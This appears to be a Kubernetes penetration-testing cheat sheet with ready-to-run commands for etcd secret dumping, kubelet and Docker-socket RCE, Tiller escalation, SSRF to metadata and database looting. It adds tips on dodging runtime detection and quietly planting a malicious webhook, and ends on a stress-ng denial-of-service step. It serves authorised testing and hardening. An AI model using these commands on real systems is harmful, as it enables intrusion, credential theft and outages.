kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout --tail=20 # is anyone reading the stream?Look for: A falco DaemonSet with one pod per node, or a falco.service alias on the host pointing at falco-modern-bpf.service or falco-kmod.service. Either way something is reading every syscall on that node, so my next few commands are being scored against a rule set. If it's Tetragon, also check for TracingPolicy objects: a policy with a Sigkill action does not just record my move, it terminates the process making it.
Gotcha: A DaemonSet lives inside the cluster, so anyone with enough RBAC can delete it. A systemd install on the node does not care about the Kubernetes API at all. When I find the DaemonSet version I note it as an assumption, not a guarantee, because the detection can be switched off by the same credentials I might already hold. And mind the difference between observe and enforce: Falco (default) and Tracee only REPORT, but Tetragon can be armed with a TracingPolicy that SIGKILLs the offending process in-kernel, so on a Tetragon cluster with an enforcing policy loaded my cat /etc/shadow or nsenter can be killed mid-syscall, not merely logged. Check for the policy before assuming detection is passive.
kubectl get pods -A -o jsonpath='{range .items[*]}{range .spec.containers[*]}{.metadata.namespace}{"/"}{.name}{"\t"}{.securityContext.readOnlyRootFilesystem}{"\n"}{end}{end}' 2>/dev/null | grep -vE 'true$'
# blank or 'false' in column two = writable root disk at runtimeLook for: Any container whose readOnlyRootFilesystem is unset or false. That is a container an attacker can drop a file into: a web shell in the web root, a cron entry, a swapped binary for persistence. Usually a much longer list than the team expects.
Gotcha: This is a fast hardening-gap sweep, not an exploit. But read it the honest way round: read-only being set does NOT mean the container is safe from tampering. It only closes the disk. A shell via kubectl exec and anything running from memory are untouched by it.
nmap -Pn -p 2379,2380 <node-ip>
curl -sk https://<node-ip>:2379/version
ETCDCTL_API=3 etcdctl --endpoints=https://<node-ip>:2379 --insecure-skip-tls-verify get / --prefix --keys-only | headLook for: A reachable etcd client port (2379) that answers without a client certificate. etcd holds every object in the cluster, including Secrets in plaintext or lightly encrypted. If get / --prefix returns keys without auth, you don't need the API server at all, you have the database.
Gotcha: This is the single highest-value miss on a lot of self-managed clusters. Managed control planes (EKS/AKS/GKE) hide etcd, but kubeadm and bare-metal builds sometimes expose it on the node IP with mutual TLS misconfigured. No RBAC applies here, etcd doesn't know what RBAC is.
curl -s http://<node-ip>:10255/pods | jq '.items[].metadata.name'
curl -s http://<node-ip>:10255/spec/ | head
curl -sk https://<node-ip>:10250/pods -o /dev/null -w '%{http_code}\n'Look for: Port 10255 answering over plain HTTP with the full pod list, container images, and env references, no auth at all. It's deprecated and usually off, but when it's on it hands you namespaces, pod names and often environment variables that name Secrets. 10250 is the authenticated write-capable one, note whether it's reachable too.
Gotcha: 10255 is read-only so it feels harmless, and that's exactly why it gets left on. It leaks enough structure to plan the whole next phase, and the env blocks sometimes contain credentials outright. Always check it before the authenticated 10250.
curl -sk https://<ip>:<port>/ | grep -i 'kubernetes dashboard'
# common exposures: a NodePort, an Ingress host, or kubectl proxy left open
kubectl get svc -A | grep -i dashboardLook for: A reachable Dashboard, and whether it presents a Skip button or runs with a service account bound to cluster-admin. Older or lazy installs give the Dashboard SA far too much, so a skip-login Dashboard can be full cluster control through a browser.
Gotcha: The Dashboard itself isn't the bug, the service account behind it is. If someone bound kubernetes-dashboard to cluster-admin so it 'just works', an anonymous browser tab becomes admin. Check the SA binding, not just whether the page loads.
curl -sk https://<node-ip>:10250/metrics/cadvisor | head
curl -s http://<ip>:<port>/metrics | grep -iE 'container_|kube_pod|namespace' | head
# Prometheus / metrics-server / cAdvisor left open on a NodePortLook for: Prometheus, metrics-server or cAdvisor answering unauthenticated. Metrics leak pod names, namespaces, images, node names and resource shapes, which is a free map of the cluster and often the app inventory too. Not a breach on its own, but it saves you all the guessing.
Gotcha: People treat monitoring as read-only and low risk, so it gets exposed on NodePorts and forgotten. The label sets in those metrics are a recon goldmine, they tell you what's running and where before you send a single authenticated request.
curl -sk https://<api>:6443/version
kubectl version -o json 2>/dev/null | jq '.serverVersion.gitVersion'
# then check that exact minor against advisories for apiserver / kubelet / runcLook for: The exact server gitVersion. A cluster several minors behind is exposed to fixed apiserver, kubelet and runtime bugs. The version alone tells you whether escapes like the runc leaky-vessels class are even in play before you try them.
Gotcha: Version is served unauthenticated on most clusters via /version. Don't skip it, it's the cheapest finding on the engagement and it decides which escape attempts are worth your time later.
grep -rIEl 'apiVersion: v1|client-certificate-data|token:' . 2>/dev/null | grep -i kube
# CI logs, container images, S3 buckets, git history, developer laptops
trufflehog filesystem ./repo 2>/dev/null | grep -iE 'kube|token' | headLook for: A kubeconfig, a bearer token, or a client cert sitting in a git repo, a CI artefact, an image layer or a bucket. A single leaked admin kubeconfig skips every phase after this one, you just point kubectl at it.
Gotcha: The cluster is often perfectly hardened and the win is a kubeconfig a developer committed two years ago. External discovery beats internal exploitation more often than people admit, so look here first, not last.
kube-bench run --benchmark cis-1.8
kubectl get pods -A -o jsonpath='{range .items[*]}{range .spec.containers[*]}{.metadata.namespace}{"/"}{.name}{"\t"}{.securityContext.readOnlyRootFilesystem}{"\n"}{end}{end}' | grep -vE 'true$'Look for: kube-bench's FAIL lines are a prioritised reading list against the CIS benchmark, and the second command lists every container whose root disk is writable at runtime. Between them you get a real starting list on a cluster you didn't build, instead of guessing.
Gotcha: This is where I tell people to start on any inherited cluster, before reading a single doc. Measure first. The FAILs order your work and the writable-root pods are the quickest wins. It's the opening move of the whole methodology, not a deep technique.
kube-bench run --benchmark cis-1.8 # auto-detects node role
kube-bench run --targets master,etcd,controlplane,node,policies
# no control-plane shell (managed cluster)? run it as a Job:
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml && kubectl logs job/kube-bench
# managed variants score only what you can see:
kube-bench run --benchmark eks-1.5 # or gke-1.x / aks-1.xLook for: kube-bench walks the CIS benchmark in five groups: control-plane config (section 1), etcd (2), control manager and scheduler (3), the worker node (4) and policies like RBAC and Pod Security (5). Every FAIL ships a remediation line, so the output is a prioritised fix list, not just a score. Match the --benchmark to the cluster's version or let it auto-pick.
Gotcha: Two things people get wrong. First, on EKS/GKE/AKS you can't see the managed control plane, so use the eks/gke/aks benchmark and don't report the section-1 control-plane checks as gaps you can close, you can't. Second, kube-bench reads the flags on THIS node, so run it on a control-plane node and a worker separately, a single run from one box misses half the checks. It's a config audit, it doesn't test exploitation, pair it with the offensive notes here.
kube-hunter --remote <api-ip> # external view
kube-hunter --pod # active, from inside a pod
kubescape scan --submit=false # NSA, MITRE and CIS in one pass
kubescape scan framework cis --submit=false
# alternatives worth a look: kubeaudit, popeye, kubent (deprecated APIs)Look for: kube-hunter maps the reachable attack surface (open kubelet, etcd, dashboard, metadata) from outside or from a pod, and with --active it will try a few exploits. kubescape scores the cluster against the NSA/CISA hardening guide, MITRE ATT&CK and the CIS controls at once and tells you which manifests fail. Between them you get the exposed edges and the config posture in minutes.
Gotcha: kube-hunter is archived now, so don't expect new checks, but it still runs and is quick for a first look. Treat every scanner result as leads, not findings, they flag readOnlyRootFilesystem unset or a risky binding, but whether it's exploitable is your job to prove. And run kubescape read-only with --submit=false unless you actually want results uploaded to their backend.
kubectl who-can create pods -A # krew plugin: who-can
kubectl who-can '*' secrets -A
for v in escalate bind impersonate; do echo "== $v =="; kubectl who-can $v clusterroles; done
rakkess --as=system:serviceaccount:<ns>:<sa> # what a specific SA can do
rbac-tool who-can create pods/execLook for: Every subject (user, group, service account) that holds the verbs that turn a foothold into a takeover: create pods, pods/exec, secrets get/list cluster-wide, nodes/proxy, and the escalation trio escalate / bind / impersonate. kubectl auth can-i answers for one identity, these tools answer 'who in the whole cluster can do this', which is the question that finds the over-privileged account.
Gotcha: This is the single most valuable RBAC audit and almost nobody runs it, because can-i feels like enough until you realise it only checks yourself. The account that owns the cluster is usually a forgotten CI or dashboard SA with cluster-admin, and it only shows up when you enumerate by verb across every binding. who-can and rbac-tool install as krew plugins in a minute.
# Kyverno: cluster and namespaced policies, plus what they enforce
kubectl get clusterpolicies,policies -A 2>/dev/null
kubectl get cpol -o custom-columns=NAME:.metadata.name,ACTION:.spec.validationFailureAction 2>/dev/null
# native ValidatingAdmissionPolicy (no webhook, pure CEL, runs in the API server)
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings 2>/dev/nullLook for: Gatekeeper is the one everyone checks, but a cluster may enforce Kyverno or the built-in ValidatingAdmissionPolicy instead, and neither shows up as a webhook you would find by listing ValidatingWebhookConfigurations. A Kyverno policy in Audit mode logs but does not block, so read the validationFailureAction.
Gotcha: ValidatingAdmissionPolicy is GA in recent Kubernetes (1.30+) and runs inside the API server, so there is no webhook pod to knock over and no failurePolicy to flip open. A binding with an empty matchResources enforces nothing, so read the binding, not just the policy.
# a registry allowlist is not signature verification. look for a verifier:
kubectl get clusterimagepolicy 2>/dev/null # sigstore policy-controller
kubectl get cpol -o yaml 2>/dev/null | grep -i verifyImages # kyverno image verification
kubectl get pods -A | grep -Ei 'connaisseur|policy-controller|kyverno'
# prove it: does a known-unsigned image get admitted?
kubectl run t --image=docker.io/library/alpine:latest --dry-run=server 2>&1 | tail -2Look for: An allowlist that only checks the registry host lets any image from that registry in, signed or not. If nothing verifies signatures, an attacker who can push to an allowed registry, or who compromises a base image, walks straight through admission.
Gotcha: Signature verification and registry allowlisting solve different problems and clusters often have one without the other. Verification also fails open if the verifier pod is down and the webhook is failurePolicy: Ignore, so check that too.
# 1) exposed over HTTP: does the app serve its .git directory?
curl -s http://TARGET/.git/config # 200 with [core] means the whole repo is recoverable
git-dumper http://TARGET/.git loot # or: python3 git-dumper.py http://TARGET/.git loot
cd loot && git log --oneline --all # secrets deleted from HEAD still live in old commits
git checkout <old-commit> && ls -la && cat .env
# 2) already have a shell in the pod: the app dir ships .git, let a scanner walk history
trufflehog . # or: trufflehog filesystem .Look for: /.git/config or /.git/HEAD returning 200 from the app, or a .git directory in a pod's app folder. A committed .env, config or key file, especially one removed in a later commit but still present in history, holding cloud keys or tokens.
Gotcha: Grepping the current checkout is not enough, the whole point is the history, so walk the old commits or let trufflehog read the full log. What you find is usually app or cloud credentials, not cluster creds, but leaked aws_access_key_id and aws_secret_access_key pivot straight into the cloud account behind the cluster, which is often a shorter route to the nodes than the API server.
# a Docker Registry v2 API with no auth answers /v2/ with {} instead of 401
curl -s http://REGISTRY:5000/v2/ # default port 5000, but check any
curl -s http://REGISTRY:5000/v2/_catalog # every image in the registry
# pull an image manifest, then read the build history for baked-in secrets:
curl -s http://REGISTRY:5000/v2/<repo>/manifests/latest
curl -s http://REGISTRY:5000/v2/<repo>/manifests/latest | grep -iE 'env|api|key|token|secret|password'
# optional: pull it locally to inspect every layer, or push if write is unauthenticated
docker pull REGISTRY:5000/<repo>:latest && docker history --no-trunc REGISTRY:5000/<repo>:latestLook for: An unauthenticated registry: a 200 and empty {} on /v2/, not a 401. /v2/_catalog lists every repository, and each image manifest carries the full build history in v1Compatibility, where developers set secrets as ENV or ARG.
Gotcha: An internal registry feels private, so teams push images with API keys, cloud creds and tokens set as build-time ENV, and those persist in every layer's history forever, readable by anyone who can reach the registry. A patched app image still leaks the secret that was ENV'd three layers ago. If write is also unauthenticated you can replace a trusted image. It is reachable from an SSRF or a pod on the network even when the registry is not exposed externally.
# node public IPs, and which services are NodePort and on what high port
kubectl get nodes -o wide # EXTERNAL-IP column
kubectl get svc -A | grep NodePort # service -> 3xxxx port (if you have API read)
# from OUTSIDE, no kubectl needed: sweep the NodePort range on each node's public IP
nmap -Pn -p 30000-32767 <EXTERNAL-IP>
nc -zv <EXTERNAL-IP> 30003 # confirm a specific NodePort is reachableLook for: A Service of type NodePort and a node with a public EXTERNAL-IP whose cloud firewall or security group does not restrict the 30000-32767 range. Any open port there reaches the backing service directly, with no Ingress, no auth and no allowlist in the way.
Gotcha: NodePort opens the same high port on every node and on every interface, so one NodePort Service plus a permissive cloud firewall publishes an internal-only service straight to the internet. Managed clusters often leave node external IPs and the NodePort range reachable by default. Prefer ClusterIP behind an Ingress or LoadBalancer with real auth, and lock the node security group down to the load balancer only.
# find what a Job actually runs, then get its image
kubectl describe job <job>
kubectl get pods -l job-name=<job> -o jsonpath='{.items[0].metadata.name}'
kubectl get pod <pod> -o yaml | grep -i 'image:'
# read the build history: every RUN/ADD/CMD is a layer you can inspect
docker pull <image> && docker history --no-trunc <image>
# or without docker: an interactive layer explorer, or skopeo/crane to read the config
dive <image>
skopeo inspect --config docker://<image> | grep -iE 'curl|wget|sh -c|xmr|stratum'Look for: A workload, often a Job or CronJob, running a public or unfamiliar image. The build history is where a supply-chain implant hides: a curl ... | sh dropper, a miner binary added, a reverse shell written to a startup path, or a backdoored entrypoint.
Gotcha: You cannot see the Dockerfile of a pulled image, but the build history is the next best thing, every RUN, ADD and ENV is recorded. Public registries are full of tainted images that look normal and mine or backdoor on start, so treat any image you did not build as untrusted and read its layers. This is the static counterpart to catching the miner at runtime (see 'Spot resource hijacking') and uses the same history read as the registry-secrets note.
# 1. read the build history: a later 'rm -rf /root/secret.txt' is the tell it once existed
docker history --no-trunc <image>:<tag>
# reconstruct an approximate Dockerfile when you don't have the source:
alias dfimage='docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage'; dfimage -sV=1.36 <image>:<tag>
dive <image>:<tag> # note the layer Id that ADDed the file (its layer.tar holds the blob)
# 2. history/dive show the file EXISTS but can't print it. export the image and unpack layers:
docker save <image>:<tag> -o img.tar && mkdir x && tar -xf img.tar -C x
# 3. extract the specific layer that added the file and read it straight out:
cd x/<layer-id>/ && tar -xf layer.tar && cat root/secret.txt
# no docker daemon? pull and unpack with crane instead:
crane export <image>:<tag> - | tar -tf - # or 'crane pull ... img.tar' then unpack as aboveLook for: A docker history line that deletes a file (rm -rf /root/secret.txt) a layer or two after another line ADDed it. In dive the file shows in the layer that created it and is whited-out later. The deleting layer only writes a whiteout marker, so the original blob is untouched in the earlier layer.tar, and unpacking that one tarball prints the secret the image author thought they had removed.
Gotcha: Deleting a file in a Dockerfile does NOT remove it from the image: each instruction is an immutable layer, and a later rm just stacks a whiteout on top, so the secret ships in every copy of that image forever. Squashing or a multi-stage build is the only real fix, rm in a single-stage Dockerfile is security theatre. This is the same lesson as the registry-secrets and history-vetting notes (a patched top layer still leaks what an earlier layer baked in), just recovered from a saved tar rather than the registry API, so it works fully offline on any image you can pull.
id; cat /run/secrets/kubernetes.io/serviceaccount/token
env | grep -Ei 'kube|token|secret|password|aws|api'
mount; cat /proc/1/cgroupLook for: The service-account token (almost always mounted), secrets leaked into env vars, and whether you're in a container or on the host (cgroup tells you).
Gotcha: automountServiceAccountToken is true by default, so nearly every pod hands you a token. That token is your identity to the API server, treat it as the keys you just found.
export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN
kubectl auth can-i create pods; kubectl auth can-i get secretsLook for: get/list secrets, create pods, create pods/exec, escalate, bind, or anything with *. can-i --list dumps your entire reach in one shot.
Gotcha: can-i is the single fastest question in the cluster and it's non-destructive, run it before anything noisy. There's an RBAC simulator in the RBAC write-up if you want to reason about a Role.
kubectl get secrets -A --token=$TOKEN
kubectl get secret <name> -o jsonpath='{.data}' | base64 -d
kubectl get configmaps -A -o yaml | grep -Ei 'password|token|key'Look for: Service-account tokens for more privileged accounts, cloud creds, DB passwords, TLS keys, and registry pull secrets.
Gotcha: Secrets are only base64, not encrypted, unless encryption-at-rest is configured. get secret is effectively read the password. One over-broad Role here undoes the whole cluster.
kubectl get pods -A -o wide --token=$TOKEN
# from the pod, is east-west traffic open?
for ip in $(...); do nc -zv $ip 6379 8080 5432; doneLook for: Other pods and services you can reach directly, and whether NetworkPolicies exist at all. Flat pod networking means one foothold sees everything.
Gotcha: By default pods can talk to every other pod. No NetworkPolicy = no segmentation. I covered the AND/OR selector gotcha in the network policy post.
uname -a # '4.4.0' with no distro string smells like gVisor
dmesg 2>/dev/null | head -3 # 'Starting gVisor...' is the giveaway
cat /proc/version
ls /dev/kvm 2>/dev/null; systemd-detect-virt 2>/dev/null # 'kvm' hints at a Kata guestLook for: Whether this is a plain runc container on the shared host kernel, a gVisor sandbox (fake kernel version, joke boot log), or a Kata VM (a real but separate guest kernel). It decides whether a host kernel LPE is even worth carrying.
Gotcha: Under gVisor a local kernel exploit almost certainly won't fire, because the syscall never reaches the host kernel, it hits the Sentry, a user-space reimplementation. Under Kata you'd be attacking a throwaway guest kernel, not the node. And don't trust these checks in reverse to CONFIRM a sandbox: gVisor's own docs say dmesg is trivially faked, so a defender proving isolation this way is fooling themselves.
for b in sh bash curl wget nc python3 perl apt apk; do command -v $b; done
cat /etc/os-release 2>/dev/null
ls -la /bin /usr/bin 2>/dev/null | wc -lLook for: Whether there's a shell and a package manager at all. A fat base hands you curl, wget, apt and bash for free, so a foothold has legs. A distroless image gives you a static binary and little else, and often no shell to land in.
Gotcha: Distroless is not a wall, it's a lack of tooling. If you can write to a volume or reach the kubelet/API you can still act, but you'll be dropping your own static binaries rather than living off the land. Defenders lean on this: no shell means no interactive foothold, which is exactly why minimal bases are worth the debugging pain.
env | sort
cat /proc/1/environ | tr '\0' '\n'
env | grep -iE 'token|key|secret|pass|api|_host|_port'Look for: Credentials, connection strings and API keys injected as env vars, plus the auto-generated *_SERVICE_HOST / *_SERVICE_PORT links that map every service the pod can see. /proc/1/environ catches the entrypoint's env even if your shell's is clean.
Gotcha: Teams lecture each other about not putting secrets in env, then do it anyway because it's easy. The service-link vars are a bonus, they're a free service map that works even when DNS is locked down.
mount; cat /proc/mounts
ls -la /var/run/docker.sock 2>/dev/null
findmnt -o TARGET,SOURCE,FSTYPE | grep -iE 'host|docker|/proc|/var/run'Look for: A mounted docker.sock (instant root on the node), any hostPath mount that reaches the node filesystem, or /proc and /var/run from the host. The projected service-account token lives at /var/run/secrets/kubernetes.io/serviceaccount/, confirm it's there and readable.
Gotcha: docker.sock in a pod is game over and it still shows up in the wild, mounted 'temporarily' for a build that never got cleaned up. A hostPath of / or /etc/kubernetes is nearly as good. This one mount check decides whether you even need an escape.
cat /etc/resolv.conf
nslookup kubernetes.default.svc.cluster.local
for s in kubernetes dashboard metrics-server; do nslookup $s.default.svc.cluster.local 2>/dev/null; done
# even easier: Kubernetes injects an env var for every Service in the namespace
env | grep -E '_SERVICE_HOST|_SERVICE_PORT' # ClusterIP + port of every service, freeLook for: CoreDNS answering from the address in /etc/resolv.conf. Even with no RBAC to list services, DNS resolves <svc>.<ns>.svc.cluster.local, and SRV lookups reveal ports. It's a quiet way to map neighbours when the API is closed to you.
Gotcha: A restricted service account often still gets full cluster DNS, because DNS almost never has a NetworkPolicy in front of it. So the account that can't get services can still enumerate them by name resolution, which people forget to lock down. Those _SERVICE_* env vars come from enableServiceLinks (default true), so a plain env is a complete map of the namespace's services with no DNS query and no API call. Setting enableServiceLinks: false on the pod removes that free reconnaissance.
id; cat /proc/self/status | grep -iE 'Cap(Prm|Eff|Bnd)'
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}') 2>/dev/null
cat /proc/sys/kernel/hostname; curl -s --max-time 2 http://169.254.169.254/ -o /dev/null -w 'metadata:%{http_code}\n'Look for: Your uid (root inside the container is uid 0 unless runAsNonRoot is set), the effective capability set decoded into names, and whether the cloud metadata endpoint at 169.254.169.254 answers. Those three together tell you how boxed in you are before you plan a single move.
Gotcha: Running as root in a container feels benign because 'it's just the container', until you find a hostPath or a dangerous capability and it becomes root on the node. Decode the caps, don't eyeball the hex, CAP_SYS_ADMIN or CAP_DAC_READ_SEARCH in that set changes everything.
# the mount and the env var are always there, kubectl often is not
S=/var/run/secrets/kubernetes.io/serviceaccount
TOKEN=$(cat $S/token); NS=$(cat $S/namespace)
API=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT:-443}
curl -s --cacert $S/ca.crt -H "Authorization: Bearer $TOKEN" $API/api # token valid? you get APIVersions
# probe scope: cluster-wide list vs the same list scoped to your namespace
curl -s --cacert $S/ca.crt -H "Authorization: Bearer $TOKEN" $API/api/v1/secrets # often 403
curl -s --cacert $S/ca.crt -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces/$NS/secrets # 200 = over-permissive SA
# pull one value and decode it (Secret data is only base64)
curl -s --cacert $S/ca.crt -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces/$NS/secrets | grep -o '"<key>":"[^"]*' | cut -d'"' -f4 | base64 -dLook for: A 403 'cannot list resource secrets at the cluster scope' on /api/v1/secrets but a 200 SecretList on /api/v1/namespaces/<ns>/secrets is the least-privilege failure spelled out: the RoleBinding grants secrets inside the namespace only, yet that is still every secret the whole namespace uses. The 403 message even names the account (system:serviceaccount:<ns>:<sa>) and the exact verb/resource it lacked, which is free RBAC recon.
Gotcha: kubectl is the convenience, not the mechanism. The API is plain HTTPS and the pod always ships the three things you need to call it: the token, the CA and the KUBERNETES_SERVICE_HOST env var, so 'no kubectl in the image' stops nobody. Read the error bodies, a 403 tells you precisely which verb and scope you were denied, so you map the grant by the shape of what fails, not just what succeeds. The real finding is a workload SA that can list secrets at all: bind it to only the named secrets it needs, because namespace-wide 'get secrets' is read-the-passwords for the entire namespace.
kubectl get netpol -A -o wide
kubectl get netpol <p> -n <ns> -o yaml | grep -A3 policyTypes # Ingress only? then egress is unrestricted
# is the CNI even capable of enforcing policy? Flannel is not
kubectl get pods -n kube-system | grep -iE 'flannel|calico|cilium|weave|antrea'
# don't trust the object, test containment by trying to leave the pod it's meant to hold:
wget -qO- --timeout=3 http://169.254.169.254/latest/meta-data/ # egress to cloud metadata still open?
nc -zv <other-svc> <port> # reach a service the policy never selected?Look for: A policy whose policyTypes lists only Ingress (outbound is untouched), pods in the namespace that no podSelector matches (still fully open), or a CNI like Flannel in kube-system (applies NetworkPolicy objects but enforces none of them). If your test wget to the metadata IP or nc to a neighbour still succeeds, the policy is not containing you whatever the YAML says.
Gotcha: A deny-all-ingress policy (ingress: []) is the most common one written and it does nothing to a compromised pod's OUTBOUND traffic: the metadata service, your C2 and any service without its own ingress rule are all still reachable, so it does not stop exfil or SSRF-to-metadata at all. NetworkPolicy is namespaced and additive, a pod matched by no selector is open, and default-deny has to be authored per namespace. And the object applies successfully even when the CNI cannot enforce it, so on a Flannel cluster every policy is decorative theatre. Always test containment by trying to leave, a policy existing is not a policy working.
curl -sk https://NODE:10250/pods
curl -sk -X POST 'https://NODE:10250/run/<ns>/<pod>/<container>' -d 'cmd=id'Look for: A kubelet answering on 10250 without client-cert auth. /pods lists everything; /run and /exec give you command execution in any container on that node.
Gotcha: This is a direct path to RCE that completely bypasses the API server and its RBAC. Locking down the kubelet (--anonymous-auth=false, --authorization-mode=Webhook) is the fix I wrote up.
kubectl get validatingwebhookconfigurations -o yaml | grep -B4 'failurePolicy: Ignore'
# if you can reach it: knock the webhook's Service/pod offline or flood it past its timeoutLook for: Any custom validating webhook (image-registry checks, naming policy, whatever) configured with failurePolicy: Ignore. If the webhook is unreachable or too slow, the request it was meant to block goes through unchecked.
Gotcha: Ignore exists so a broken webhook doesn't take the cluster down, which is a reasonable trade-off for a convenience mutation. For an actual security gate it's a real bypass: make the webhook time out (load, network policy, killing its pod) and whatever it was supposed to stop just sails through with nothing logged as denied.
docker -H tcp://NODE:2375 ps
docker -H tcp://NODE:2375 run -v /:/host -it alpine chroot /host shLook for: An open 2375 (no TLS). If it answers, you mount the host filesystem into a container and you're root on the node in one command.
Gotcha: 2375 is plaintext/no-auth; 2376 is TLS. An open 2375 is not a finding, it's a full host compromise. I broke down securing the daemon (TLS + client certs) in its own post.
kubectl exec -it <pod> -- sh --token=$TOKEN
kubectl port-forward svc/internal 8080:80 --token=$TOKENLook for: If your token has pods/exec or pods/portforward, you can shell into other pods or tunnel to internal-only services (databases, dashboards) straight from your laptop.
Gotcha: port-forward and proxy quietly turn a namespaced permission into reach onto internal services. People grant exec for debugging and forget it's also a lateral-movement primitive. See the proxy/port-forward post.
ETCDCTL_API=3 etcdctl --endpoints=https://<node-ip>:2379 --insecure-skip-tls-verify get /registry/secrets --prefix -w json | jq -r '.kvs[].value' | base64 -d 2>/dev/null | strings | grep -iE 'token|password|key'
ETCDCTL_API=3 etcdctl --endpoints=https://<node-ip>:2379 --insecure-skip-tls-verify get /registry/secrets/kube-system/ --prefix --keys-onlyLook for: Secret objects under /registry/secrets. If encryption at rest isn't configured, the values are base64 only and you read them all, including service-account tokens for kube-system. That's cluster-admin without ever authenticating to the API.
Gotcha: The API server enforces RBAC on Secrets, etcd doesn't. If you reached etcd in recon, this is the payoff. And check the write path too, editing /registry objects directly lets you plant a role binding the API never validated. Authorised targets only, this is loud and destructive.
# from the exposed Dashboard, or by reading its SA token:
kubectl -n kubernetes-dashboard get sa,clusterrolebinding -o wide | grep -i dashboard
TOKEN=$(kubectl -n kubernetes-dashboard get secret <dashboard-sa-secret> -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$TOKEN" auth can-i '*' '*' --all-namespacesLook for: A Dashboard service account bound to a role that can create pods or read secrets cluster-wide. If can-i '*' '*' comes back yes, the browser you found in recon is a cluster-admin console. From there a single privileged pod owns every node.
Gotcha: This was the exact path in the 2018 Tesla crypto-mining incident, an open Dashboard with too much power. It still recurs because people fix the exposure and leave the over-permissioned SA, or the other way round. You need both closed.
kubectl auth can-i create mutatingwebhookconfigurations
# if yes, register a webhook that watches pods/secrets creation cluster-wide
kubectl get mutatingwebhookconfiguration -o yaml | grep -iE 'name:|failurePolicy|namespaceSelector'Look for: Permission to create mutatingwebhookconfigurations or validatingwebhookconfigurations. With it you register a webhook that sees every create/update in scope, so you can read Secrets as they're created and inject a sidecar or a hostPath into pods you didn't write.
Gotcha: A webhook is a legitimate extension point, which is what makes a malicious one quiet, it looks like normal cluster plumbing. Scope it with a namespaceSelector so you don't take the cluster down and give yourself away. Set failurePolicy carefully, a broken webhook that fails closed is an instant, obvious outage.
# SSRF in a workload -> hit the API server or metadata from inside the mesh:
curl -s 'https://vuln-app/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
curl -sk 'https://vuln-app/fetch?url=https://kubernetes.default.svc/api'Look for: A workload with SSRF, an upload-to-RCE, or a deserialisation bug. The app is usually the way into the pod network in the first place. An SSRF that can reach 169.254.169.254 or kubernetes.default.svc from inside is a straight line to cloud IAM creds or the API.
Gotcha: People harden the cluster and forget the thing running on it is the actual entry point. From an attacker's chair the vulnerable Java app is the front door, and Kubernetes is just what you find on the other side. Don't over-focus on platform bugs and miss the app.
# you have a URL-fetch gadget but no shell. first, services in the same pod:
curl -s 'http://VULN-APP/proxy?url=http://127.0.0.1:5000/'
# then internal ClusterIP services by name, CoreDNS resolves them from the pod network:
curl -s 'http://VULN-APP/proxy?url=http://metadata-db/'
curl -s 'http://VULN-APP/proxy?url=http://metadata-db.default.svc.cluster.local/'
# walk the paths it exposes, loot, then decode any base64 values:
curl -s 'http://VULN-APP/proxy?url=http://metadata-db/latest/secrets/<key>'
echo -n '<base64-value>' | base64 -dLook for: A request-forgery gadget (SSRF, a webhook URL field, a 'check my URL' or fetch feature). Internal-only Services with no Ingress or NodePort answer on http://<svc> and http://<svc>.<ns>.svc.cluster.local from inside the pod network, so the SSRF reaches them.
Gotcha: On a normal host an SSRF mostly buys you cloud metadata. In a cluster it is worse, Kubernetes hands out free service discovery, so one SSRF becomes a scanner for the whole internal mesh, and most internal services put no auth in front of themselves. This works because there is no default-deny NetworkPolicy in the way. For the metadata and API-server side of SSRF, see 'Get your first foothold through the app'.
# Helm 2's Tiller runs in kube-system with cluster-admin and no auth on 44134
telnet tiller-deploy.kube-system 44134 # reachable and open?
helm --host tiller-deploy.kube-system:44134 version # a v2 client gets a Server version back
# you cannot read kube-system secrets as the pod's own SA:
kubectl get secrets -n kube-system # Forbidden
# deploy a chart that ClusterRoleBinds cluster-admin to your service account:
helm --host tiller-deploy.kube-system:44134 install --name pwn /pwnchart
kubectl get secrets -n kube-system # now allowed -> cluster-adminLook for: A tiller-deploy Service in kube-system listening on 44134 with no TLS or auth, reachable from a pod (no NetworkPolicy in front). Helm 2's Tiller holds cluster-admin, so anyone who can reach it deploys charts as cluster-admin, including one that binds your service account to cluster-admin.
Gotcha: This is legacy. Helm 3 removed Tiller entirely, so you only meet it on old clusters, but they are still out there. The tell is a listening 44134 and a Helm v2 client that gets a Server version back. The fix is Helm 3, or at least a TLS-authenticated Tiller scoped to a least-privilege SA, plus a NetworkPolicy so pods cannot reach kube-system:44134.
# namespaces are not a network wall. learn your subnet, then sweep it:
ip route; ifconfig 2>/dev/null || ip a
# mass-scan the pod/cluster CIDR for common data-store ports (usually no auth)
zmap -p 6379 10.0.0.0/8 -o redis.csv # Redis; also 9200 ES, 27017 Mongo, 3306 MySQL
# reach a service in another namespace by DNS too: <service>.<namespace>
nslookup <service>.<other-namespace> 2>/dev/null
# connect with the native client and loot, no creds needed:
redis-cli -h <ip> KEYS '*' # then: redis-cli -h <ip> GET <key>
curl -s http://<ip>:9200/_cat/indices # Elasticsearch, if that is what answeredLook for: A pod in one namespace reaching a Redis (6379), Elasticsearch (9200), Mongo (27017) or MySQL (3306) in another, because pod networking is flat and there is no NetworkPolicy. These internal caches and databases almost never require auth, so KEYS */GET or a plain _search dumps their contents.
Gotcha: The misconception this breaks: a namespace is not a network boundary, it is only a name scope. Any pod reaches any Service or pod IP cluster-wide unless a NetworkPolicy says otherwise, and most clusters have none. zmap on 10.0.0.0/8 needs its blacklist relaxed (/etc/zmap/blacklist.conf excludes RFC1918 by default). The fix is a default-deny NetworkPolicy per namespace plus auth on every data store. See 'A namespace is a label, not a wall'.
⚠ Authorisation first: this is a live denial-of-service. Never run it against a client or production system without explicit written permission and an agreed test window, it will degrade or take down real workloads and OOM-evict other tenants.
# from a shell in any pod that has no resources.limits set
which stress-ng || (apt-get update && apt-get install -y stress-ng) 2>/dev/null
